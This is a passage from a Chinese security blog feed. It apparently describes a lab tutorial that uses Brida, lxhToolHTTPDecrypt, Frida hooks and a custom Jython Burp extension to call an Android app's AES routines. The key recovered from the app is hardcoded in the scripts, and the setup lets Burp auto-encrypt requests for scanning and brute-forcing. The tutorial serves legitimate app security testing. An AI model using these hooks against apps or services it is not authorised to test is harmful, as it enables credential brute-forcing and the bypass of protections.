messageInfo.getRequest();</span><br><span class="line">        IRequestInfo requestInfo = helpers.analyzeRequest(request);</span><br><span class="line">        IParameter contentParameter = helpers.getRequestParameter(request, &quot;content&quot;);</span><br><span class="line">        if(contentParameter != null) &#123;</span><br><span class="line">          // Get response bytes</span><br><span class="line">          byte[] response = messageInfo.getResponse();</span><br><span class="line">          // Get a IResponseInfo object, useful to work with the request</span><br><span class="line">          IResponseInfo responseInfo = helpers.analyzeResponse(response);</span><br><span class="line">          // Get the offset of the body</span><br><span class="line">          int bodyOffset = responseInfo.getBodyOffset();</span><br><span class="line">          // Get the body (byte array and String)</span><br><span class="line">          byte[] body = Arrays.copyOfRange(response, bodyOffset, response.length);</span><br><span class="line">          String bodyString = helpers.bytesToString(body);</span><br><span class="line">          String ret = &quot;&quot;;</span><br><span class="line">          // Ask Brida to decrypt the response</span><br><span class="line">          String pyroUrl = &quot;PYRO:BridaServicePyro@localhost:9999&quot;;</span><br><span class="line">          try &#123;</span><br><span class="line">            PyroProxy pp = new PyroProxy(new PyroURI(pyroUrl));</span><br><span class="line">            ret = (String)pp.call(&quot;callexportfunction&quot;,&quot;decryptresponse&quot;,new String[]&#123;bodyString&#125;);</span><br><span class="line">            pp.close();</span><br><span class="line">          &#125; catch(Exception e) &#123;</span><br><span class="line">            stderr.println(e.toString());</span><br><span class="line">            StackTraceElement[] exceptionElements = e.getStackTrace();</span><br><span class="line">            for(int i=0; i&lt; exceptionElements.length; i++) &#123;</span><br><span class="line">              stderr.println(exceptionElements[i].toString());</span><br><span class="line">            &#125;</span><br><span class="line">          &#125;</span><br><span class="line">          // Update the messageInfo object with the modified request (otherwise the request remains the old one)</span><br><span class="line">          byte[] newResponse = ArrayUtils.addAll(Arrays.copyOfRange(response, 0, bodyOffset),ret.getBytes());</span><br><span class="line">          messageInfo.setResponse(newResponse);</span><br><span class="line">        &#125;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3><span id="实战">实战</span></h3><p>如图app对数据进行了加密。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1580902822525.png" alt="1580902822525"></p><p>这里我们可以通过直接分析APK或者通过Hook来看他是使用的什么加密，且调用的是那个类的那个方法。</p><p>逆向APP可以知道调用的类和方法。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1580903281942.png" alt="1580903281942"></p><p>同时得到加密密钥为：<code>9876543210123456</code></p><p>我们可以利用Execute method模块进行函数调用测试。修改contextcustom1</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">contextcustom1: function(message) &#123;</span><br><span class="line">        console.log(&quot;Brida  Java Starting script ----&gt;ok&quot;);</span><br><span class="line">        var enc;</span><br><span class="line">        Java.perform(function () &#123;</span><br><span class="line">            try &#123;</span><br><span class="line">                var key = &quot;9876543210123456&quot;;</span><br><span class="line">                var text = &quot;admin&quot;;</span><br><span class="line">                //hook class</span><br><span class="line">                var AesEncryptionBase64 = Java.use(&apos;com.ese.http.encrypt.AesEncryptionBase64&apos;);</span><br><span class="line">                console.log(&quot;Brida start : encrypt before---&gt;&quot;+text);</span><br><span class="line">                //hook method</span><br><span class="line">                enc = AesEncryptionBase64.encrypt(key,text);</span><br><span class="line">                console.log(&quot;Brida start : encrypt after---&gt;&quot;+enc);</span><br><span class="line"></span><br><span class="line">            &#125; catch (error) &#123;</span><br><span class="line">                console.log(&quot;[!]Exception:&quot; + error.message);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;);</span><br><span class="line">        return enc;</span><br><span class="line">    &#125;,</span><br></pre></td></tr></table></figure><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1580903583962.png" alt="1580903583962"></p><p>如上是hook<code>com.ese.http.encrypt.AesEncryptionBase64</code>类的<code>encrypt</code>方法，并传入key值和加密内容。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1580904137989.png" alt="1580904137989"></p><p>可得到加密后的密文。</p><p>4个方法与请求数据包与返回数据包相互一 一对应：</p><ul><li>Brida Custom 1：通过右键菜单进行访问，它会调用contextcustom1 JS脚本；</li><li>Brida Custom 2：通过右键菜单进行访问，它会调用contextcustom2 JS脚本；</li><li>Brida Custom 3：通过右键菜单进行访问，它会调用contextcustom3 JS脚本；</li><li>Brida Custom 4：通过右键菜单进行访问，它会调用contextcustom4 JS脚本。</li></ul><p>编写加密解密脚本：（函数接收的参数和返回的数据都是以 16进制编码的，所以我们使用时要先对他们进行16进制解码，然后返回的时候在进行16进制编码。）</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br></pre></td><td class="code"><pre><span class="line">//AesEncryptionBase64 encrypt</span><br><span class="line">contextcustom1: function (message) &#123;</span><br><span class="line">    console.log(&quot;Brida start :0---&gt;&quot; + message);</span><br><span class="line">    var data = hexToString(message)</span><br><span class="line">    console.log(&quot;Brida start :1---&gt;&quot; + data);</span><br><span class="line">    var enc;</span><br><span class="line">    Java.perform(function () &#123;</span><br><span class="line">        try &#123;</span><br><span class="line">            var key = &quot;9876543210123456&quot;;</span><br><span class="line">            var text = data;</span><br><span class="line">            //hook class</span><br><span class="line">            var AesEncryptionBase64 = Java.use(&apos;com.ese.http.encrypt.AesEncryptionBase64&apos;);</span><br><span class="line">            console.log(&quot;Brida start : AesEncryptionBase64 ---&gt; success&quot;);</span><br><span class="line">            console.log(&quot;Brida start : encrypt before---&gt;&quot;+text);</span><br><span class="line">            //hook method</span><br><span class="line">            enc = AesEncryptionBase64.encrypt(key,text);</span><br><span class="line">            console.log(&quot;Brida start : encrypt after---&gt;&quot;+enc);</span><br><span class="line"></span><br><span class="line">        &#125; catch (error) &#123;</span><br><span class="line">            console.log(&quot;[!]Exception:&quot; + error.message);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;);</span><br><span class="line">    return stringToHex(enc);</span><br><span class="line">&#125;,</span><br><span class="line"></span><br><span class="line">//AesEncryptionBase64 decrypt</span><br><span class="line">contextcustom2: function (message) &#123;</span><br><span class="line">    console.log(&quot;Brida start :0---&gt;&quot; + message);</span><br><span class="line">    var data = hexToString(message)</span><br><span class="line">    console.log(&quot;Brida start :1---&gt;&quot; + data);</span><br><span class="line">    var text;</span><br><span class="line">    Java.perform(function () &#123;</span><br><span class="line">        try &#123;</span><br><span class="line">            var key = &quot;9876543210123456&quot;;</span><br><span class="line">            var enc = data;</span><br><span class="line">            //hook class</span><br><span class="line">            var AesEncryptionBase64 = Java.use(&apos;com.ese.http.encrypt.AesEncryptionBase64&apos;);</span><br><span class="line">            console.log(&quot;Brida start : AesEncryptionBase64 ---&gt; success&quot;);</span><br><span class="line">            console.log(&quot;Brida start : decrypt before---&gt;&quot;+enc);</span><br><span class="line">            //hook method</span><br><span class="line">            text = AesEncryptionBase64.decrypt(key,enc);</span><br><span class="line">            console.log(&quot;Brida start : decrypt after---&gt;&quot;+text);</span><br><span class="line">        &#125; catch (error) &#123;</span><br><span class="line">            console.log(&quot;[!]Exception:&quot; + error.message);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;);</span><br><span class="line">    console.log(&quot;Brida start : decrypt after---&gt;&quot;+stringToHex(text));</span><br><span class="line">    return stringToHex(text);</span><br><span class="line">&#125;,</span><br><span class="line"></span><br><span class="line">//AesEncryptionBase64 encrypt</span><br><span class="line">contextcustom3: function (message) &#123;</span><br><span class="line">    console.log(&quot;Brida start :0---&gt;&quot; + message);</span><br><span class="line">    var data = hexToString(message)</span><br><span class="line">    console.log(&quot;Brida start :1---&gt;&quot; + data);</span><br><span class="line">    var enc;</span><br><span class="line">    Java.perform(function () &#123;</span><br><span class="line">        try &#123;</span><br><span class="line">            var key = &quot;9876543210123456&quot;;</span><br><span class="line">            var text = data;</span><br><span class="line">            //hook class</span><br><span class="line">            var AesEncryptionBase64 = Java.use(&apos;com.ese.http.encrypt.AesEncryptionBase64&apos;);</span><br><span class="line">            console.log(&quot;Brida start : AesEncryptionBase64 ---&gt; success&quot;);</span><br><span class="line">            console.log(&quot;Brida start : encrypt before---&gt;&quot;+text);</span><br><span class="line">            //hook method</span><br><span class="line">            enc = AesEncryptionBase64.encrypt(key,text);</span><br><span class="line">            console.log(&quot;Brida start : encrypt after---&gt;&quot;+enc);</span><br><span class="line"></span><br><span class="line">        &#125; catch (error) &#123;</span><br><span class="line">            console.log(&quot;[!]Exception:&quot; + error.message);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;);</span><br><span class="line">    return stringToHex(enc);</span><br><span class="line">&#125;,</span><br><span class="line"></span><br><span class="line">//AesEncryptionBase64 decrypt</span><br><span class="line">contextcustom4: function (message) &#123;</span><br><span class="line">    console.log(&quot;Brida start :0---&gt;&quot; + message);</span><br><span class="line">    var data = hexToString(message)</span><br><span class="line">    console.log(&quot;Brida start :1---&gt;&quot; + data);</span><br><span class="line">    var text;</span><br><span class="line">    Java.perform(function () &#123;</span><br><span class="line">        try &#123;</span><br><span class="line">            var key = &quot;9876543210123456&quot;;</span><br><span class="line">            var enc = data;</span><br><span class="line">            //hook class</span><br><span class="line">            var AesEncryptionBase64 = Java.use(&apos;com.ese.http.encrypt.AesEncryptionBase64&apos;);</span><br><span class="line">            console.log(&quot;Brida start : AesEncryptionBase64 ---&gt; success&quot;);</span><br><span class="line">            console.log(&quot;Brida start : decrypt before---&gt;&quot;+enc);</span><br><span class="line">            //hook method</span><br><span class="line">            text = AesEncryptionBase64.decrypt(key,enc);</span><br><span class="line">            console.log(&quot;Brida start : decrypt after---&gt;&quot;+text);</span><br><span class="line">        &#125; catch (error) &#123;</span><br><span class="line">            console.log(&quot;[!]Exception:&quot; + error.message);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;);</span><br><span class="line">    console.log(&quot;Brida start : decrypt after---&gt;&quot;+stringToHex(text));</span><br><span class="line">    return stringToHex(text);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>替换脚本里的contextcustom函数。</p><p>这样就能在burpsuite中进行右键菜单转换了。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\gif111111111.gif" alt="1580905769487"></p><p>接下来实现自定义插件实现在<code>reperter</code>、<code>scanner</code>、<code>intruder</code>模板中自动加密请求包和解密返回包。</p><p>为了让处理加解密数据更方便，所以就改变了一下服务端加解密的方式。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1580972196130.png" alt="1580972196130"></p><p>这里我用的python编写插件。所以需要安装jython</p><p>推荐安装最新版的<code>jython-installer-2.7.2b3.jar</code></p><p><a href="https://repo1.maven.org/maven2/org/python/jython-installer/2.7.2b3/jython-installer-2.7.2b3.jar" target="_blank" rel="noopener">https://repo1.maven.org/maven2/org/python/jython-installer/2.7.2b3/jython-installer-2.7.2b3.jar</a></p><p>同时使用jython自带的pip安装Pyro4</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pip install pyro4</span><br></pre></td></tr></table></figure><p>burp中配置最新安装好pyro4的路径。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1580969785849.png" alt="1580969785849"></p><p>然后用python编写burp插件。</p><p>申明一个类，继承于<code>IBurpExtender</code>和<code>IHttpListener</code>：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">`class` `BurpExtender(IBurpExtender, IHttpListener)`</span><br></pre></td></tr></table></figure><p>重写<code>registerExtenderCallbacks</code>和<code>processHttpMessage</code>:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">def registerExtenderCallbacks(self, callbacks):</span><br><span class="line">        self._callbacks = callbacks</span><br><span class="line">        self._helpers = callbacks.getHelpers()</span><br><span class="line">        self._callbacks.setExtensionName(&quot;fuck encrypt by Uknow!&quot;)</span><br><span class="line">        callbacks.registerHttpListener(self)</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):</span><br><span class="line">    # tool https://portswigger.net/burp/extender/api/constant-values.html#burp.IBurpExtenderCallbacks</span><br><span class="line">    if toolFlag == 64 or toolFlag == 16 or toolFlag == 32: # TOOL_REPEATER     TOOL_SCANNER     TOOL_INTRUDER</span><br><span class="line">        request = messageInfo.getRequest()</span><br><span class="line">        analyzedRequest = self._helpers.analyzeRequest(request)</span><br><span class="line">        headers = analyzedRequest.getHeaders()</span><br><span class="line">        if not messageIsRequest:</span><br><span class="line">            response = messageInfo.getResponse()</span><br><span class="line">            analyzedResponse = self._helpers.analyzeResponse(response)</span><br><span class="line">            messageInfo.setResponse(self.decrypt(analyzedResponse, response))</span><br><span class="line">        # elif toolFlag != 4:</span><br><span class="line">        else:</span><br><span class="line">            messageInfo.setRequest(self.encrypt(analyzedRequest, request))</span><br></pre></td></tr></table></figure><p>对着toolFlag一顿if是为了过滤Burp的模块，判断他是从哪过来的，这里是过滤了三个：<code>reperter</code>、<code>scanner</code>、<code>intruder</code>，抓包过来的无需处理，如果你处理了那APP就不能正常收发数据了。<br><code>self.decrypt</code>和<code>self.encrypt</code>就是去跟<code>Brida</code>开的端口交换数据，处理加解密：</p><pre><code>def decrypt(self, RequestOrResponse,raw):    uri = &apos;PYRO:BridaServicePyro@localhost:9999&apos;    pp = Pyro4.Proxy(uri)    body = raw[RequestOrResponse.getBodyOffset():]    newbody = body.tostring()    args = []    args.append(newbody.encode(&apos;hex&apos;))    ret = pp.callexportfunction(&apos;contextcustom4&apos;,args)    ret = self._helpers.bytesToString(ret).decode(&apos;hex&apos;)    return self._helpers.buildHttpMessage(RequestOrResponse.getHeaders(), ret)def encrypt(self, RequestOrResponse,raw):    uri = &apos;PYRO:BridaServicePyro@localhost:9999&apos;    pp = Pyro4.Proxy(uri)    body = raw[RequestOrResponse.getBodyOffset():]    newbody = body.tostring()    args = []    args.append(newbody.encode(&apos;hex&apos;))    ret = pp.callexportfunction(&apos;contextcustom1&apos;,args)    ret = self._helpers.bytesToString(ret).decode(&apos;hex&apos;)    return self._helpers.buildHttpMessage(RequestOrResponse.getHeaders(), ret)</code></pre><p>用<code>callexportfunction</code>来调用你刚才js脚本里<code>rpc.exports</code>里的函数，参数是函数名和参数列表。</p><p>完整代码如下：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line">from burp import IBurpExtender</span><br><span class="line">from burp import IHttpListener</span><br><span class="line">from burp import IHttpRequestResponse</span><br><span class="line">from burp import IResponseInfo</span><br><span class="line">from burp import IProxyListener</span><br><span class="line">import Pyro4</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">print &apos;uknowsec.cn&apos;</span><br><span class="line"></span><br><span class="line">class BurpExtender(IBurpExtender,IHttpListener,IHttpRequestResponse, IProxyListener):</span><br><span class="line">    def registerExtenderCallbacks(self, callbacks):</span><br><span class="line">        self._callbacks = callbacks</span><br><span class="line">        self._helpers = callbacks.getHelpers()</span><br><span class="line">        self._callbacks.setExtensionName(&quot;fuck encrypt by Uknow!&quot;)</span><br><span class="line">        callbacks.registerHttpListener(self)</span><br><span class="line"></span><br><span class="line">    def decrypt(self, RequestOrResponse,raw):</span><br><span class="line">        uri = &apos;PYRO:BridaServicePyro@localhost:9999&apos;</span><br><span class="line">        pp = Pyro4.Proxy(uri)</span><br><span class="line">        body = raw[RequestOrResponse.getBodyOffset():]</span><br><span class="line">        newbody = body.tostring()</span><br><span class="line">        args = []</span><br><span class="line">        args.append(newbody.encode(&apos;hex&apos;))</span><br><span class="line">        ret = pp.callexportfunction(&apos;contextcustom4&apos;,args)</span><br><span class="line">        ret = self._helpers.bytesToString(ret).decode(&apos;hex&apos;)</span><br><span class="line">        return self._helpers.buildHttpMessage(RequestOrResponse.getHeaders(), ret)</span><br><span class="line"> </span><br><span class="line">    def encrypt(self, RequestOrResponse,raw):</span><br><span class="line">        uri = &apos;PYRO:BridaServicePyro@localhost:9999&apos;</span><br><span class="line">        pp = Pyro4.Proxy(uri)</span><br><span class="line">        body = raw[RequestOrResponse.getBodyOffset():]</span><br><span class="line">        newbody = body.tostring()</span><br><span class="line">        args = []</span><br><span class="line">        args.append(newbody.encode(&apos;hex&apos;))</span><br><span class="line">        ret = pp.callexportfunction(&apos;contextcustom1&apos;,args)</span><br><span class="line">        ret = self._helpers.bytesToString(ret).decode(&apos;hex&apos;)</span><br><span class="line">        return self._helpers.buildHttpMessage(RequestOrResponse.getHeaders(), ret)</span><br><span class="line"></span><br><span class="line">    def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):</span><br><span class="line">        # tool https://portswigger.net/burp/extender/api/constant-values.html#burp.IBurpExtenderCallbacks</span><br><span class="line">        if toolFlag == 64 or toolFlag == 16 or toolFlag == 32: # TOOL_REPEATER     TOOL_SCANNER     TOOL_INTRUDER</span><br><span class="line">            request = messageInfo.getRequest()</span><br><span class="line">            analyzedRequest = self._helpers.analyzeRequest(request)</span><br><span class="line">            headers = analyzedRequest.getHeaders()</span><br><span class="line">            if not messageIsRequest:</span><br><span class="line">                response = messageInfo.getResponse()</span><br><span class="line">                analyzedResponse = self._helpers.analyzeResponse(response)</span><br><span class="line">                messageInfo.setResponse(self.decrypt(analyzedResponse, response))</span><br><span class="line">            # elif toolFlag != 4:</span><br><span class="line">            else:</span><br><span class="line">                messageInfo.setRequest(self.encrypt(analyzedRequest, request))</span><br></pre></td></tr></table></figure><p>然后加载就可以在<code>reperter</code>、<code>scanner</code>、<code>intruder</code>模块中实现自动加密解密了。操作如下图。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\gif111211111.gif" alt="1580905769487"></p><p>比如如上场景可直接进行爆破。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\gif111311111.gif" alt="1580905769487"></p><p>自动以插件也可以使用Java编写，可以根据文章前文给出的官方文档给出的示例进行修改。</p><h2><span id="lxhtoolhttpdecrypt">lxhToolHTTPDecrypt</span></h2><p><a href="https://github.com/lyxhh/lxhToolHTTPDecrypt" target="_blank" rel="noopener">https://github.com/lyxhh/lxhToolHTTPDecrypt</a></p><p>HTTP Decrypt 提供了Finds Hooks模块，可以在不逆向不脱壳的情况下快速的找到APP所使用的加解密算法，而toBurp模块提供了直接使用APP内的方法进行加解密，而不需自己动手敲代码，对于整体POST加密更是提供了自动化加解密功能，可以实现Burp一条龙，Burp Scanner ，Intruder自动加解密。</p><ol><li>python3 app.py</li><li>Android_frida_server 运行</li><li>转发frida端口。</li><li>打开HTTP Decrypt页面，如果在Start界面出现应用包名列表信息则可正常使用其他功能，如果不行，刷新一下看看控制台出现的信息。</li></ol><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1580977948133.png" alt="1580977948133"></p><h3><span id="hooks">Hooks</span></h3><p>填写字符串，将类名与你填写的字符串匹配，并Hooks类下的所有方法，hook多个类名，回车换行。</p><p>在APP中进行操作，尽量进行多次操作，让脚本hook到所有方法。</p><p>如下图，这里找到了加密方法为<code>com.ese.http.encrypt.AesEncryptionBase64.encrypt</code></p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1580978070314.png" alt="1580978070314"></p><h3><span id="stack">Stack</span></h3><p>像Brida一样也可以显示Hooks打印的堆栈。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1580978156034.png" alt="1580978156034"></p><h3><span id="finds">Finds</span></h3><p>根据字符串，查找类，匹配到类，将类下的方法都打印出来。多个查找回车换行继续写。提供了过滤机制。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1580979123411.png" alt="1580979123411"></p><p>匹配的不是很准确，可能是我姿势有问题，但是我们可以自己去反编译或者通过hook来判断哪个是加解密方法。</p><h3><span id="toburp">toBurp</span></h3><p>添入我们得到加解密方法。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1580979268369.png" alt="1580979268369"></p><p>然后点击Confirm按钮，之后再点击Add按钮，将方法的信息添加到左边的info里面去，因为加解密方法有两个参数，无法使用HTTPDecrypt自动的生成的脚本（自动生成的脚本只能适应一个参数），所以 我们需要自己写一些代码，接下来我们点击Generate export static script按钮。（因为方法类型是静态的所以选择static按钮，动态的选择instance，如果你很熟悉frida，点哪个都无所谓。）</p><p>HTTPDecrypt会将一些代码生成在Custom选项卡中，如下：</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1580979877144.png" alt="1580979877144"></p><p>像Brida修改代码，添加key值。encrypt方法的第一个参数是一个固定值key，通过反编译和hook分析可以得到。第二个参数为加密内容。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">&apos;use strict&apos;;</span><br><span class="line"></span><br><span class="line">var rpc_result = null;</span><br><span class="line">var rpc_result_ios = null;</span><br><span class="line">rpc.exports = &#123;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">tag3c57a19c2806a2b4d3f028f23c7d2f4f02: function(arg0, arg1)&#123;</span><br><span class="line">        Java.perform(function () &#123;</span><br><span class="line">            try&#123;</span><br><span class="line">                var key = &quot;9876543210123456&quot;;</span><br><span class="line">// var context = Java.use(&apos;android.app.ActivityThread&apos;).currentApplication().getApplicationContext();</span><br><span class="line">                var AesEncryptionBase64bc9333b9adb0ceb7cc6c929d900e3365 = Java.use(&quot;com.ese.http.encrypt.AesEncryptionBase64&quot;);</span><br><span class="line">                rpc_result = AesEncryptionBase64bc9333b9adb0ceb7cc6c929d900e3365.encrypt(key, arg0);</span><br><span class="line">                // send(JSON.stringify(&#123;&quot;aa&quot;:&quot;bb&quot;,&quot;aa1&quot;:&quot;bbb&quot;&#125;)+&apos;-cusoto0oom0sc0ri0pt-&apos;)</span><br><span class="line">            &#125;catch(e)&#123;send(&quot;tag3c57a19c2806a2b4d3f028f23c7d2f4f02, &quot; + e + &quot;-er00roo000r-&quot;)&#125;</span><br><span class="line">        &#125;);</span><br><span class="line">        return rpc_result;</span><br><span class="line">    &#125;,</span><br><span class="line">// Added Function </span><br><span class="line"></span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>同样的方法修改解密方法。如图</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1580981397792.png" alt="1580981397792"></p><p>loadscript加载脚本。</p><p>这样我们可以得到两个方法名，和brida中的contextcustom一样。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1580981451928.png" alt="1580981451928"></p><p>然后我们将这两个方法名添入burp插件配置项里</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1580981619949.png" alt="1580981619949"></p><p>同样就可以通过右键菜单栏进行加解密了。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\gif111411111.gif" alt="1580905769487"></p><p>他也具有自动加解密的功能，但是目前只能对整个请求包进行加解密不能匹配到需要加解密的数据。</p><p>通过burp发给服务端的数据可以看到，在看起自动加解密后他把整个请求body进行了加密，跟服务端验证不符合，所以存在一定的局限性。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1580982022808.png" alt="1580982022808"></p><p>通过修改服务端代码，和请求包格式。</p><p>我们改成客户端把整个请求包body进行加密，给后端验证的方法。体验一下自动加解密。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\gif111511111.gif" alt="1580905769487"></p><h2><span id="对比总结">对比总结</span></h2><ul><li>Brida的插桩功能好像有点不好使，lxhToolHTTPDecrypt的hook功能对APP进行多次操作后，效果还是挺好的。但定位加解密方法还是要人工的去分析，工具只是辅助作用。</li><li>Brida和lxhToolHTTPDecrypt的右键菜单功能其实是相同的原理，绑定函数去调用函数进行加解密得到返回值</li><li>Brida灵活性强一点，可以自定义编写插件。但是这也是比较麻烦的一点，对于不熟悉BURP插件编写的使用者是一个难点，lxhToolHTTPDecrypt方便一点，他不需要自己去写插件对数据进行处理，但是他只能对整个body进行自动加解密，存在一定局限性。而在Brida中可以在编写脚本的过程中对需要加解密的内容进行灵活的操作，lxhToolHTTPDecrypt目前还在不断的更新，可能作者后面会解决这个问题。</li></ul>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h2&gt;&lt;span id=&quot;brida&quot;&gt;Brida&lt;/span&gt;&lt;/h2&gt;&lt;h3&gt;&lt;span id=&quot;brida简介&quot;&gt;Brida简介&lt;/span&gt;&lt;/h3&gt;&lt;p&gt;Brida是BurpSuite的一个插件，它可以将Burp和Frida结合起来使用，可以在 BurpSuite中直
      
    
    </summary>
    
      <category term="笔记" scheme="https://uknowsec.cn/categories/notes/"/>
    
    
  </entry>
  
  <entry>
    <title>frida-hook实战二</title>
    <link href="https://uknowsec.cn/posts/notes/frida-hook%E5%AE%9E%E6%88%98%E4%BA%8C.html"/>
    <id>https://uknowsec.cn/posts/notes/frida-hook实战二.html</id>
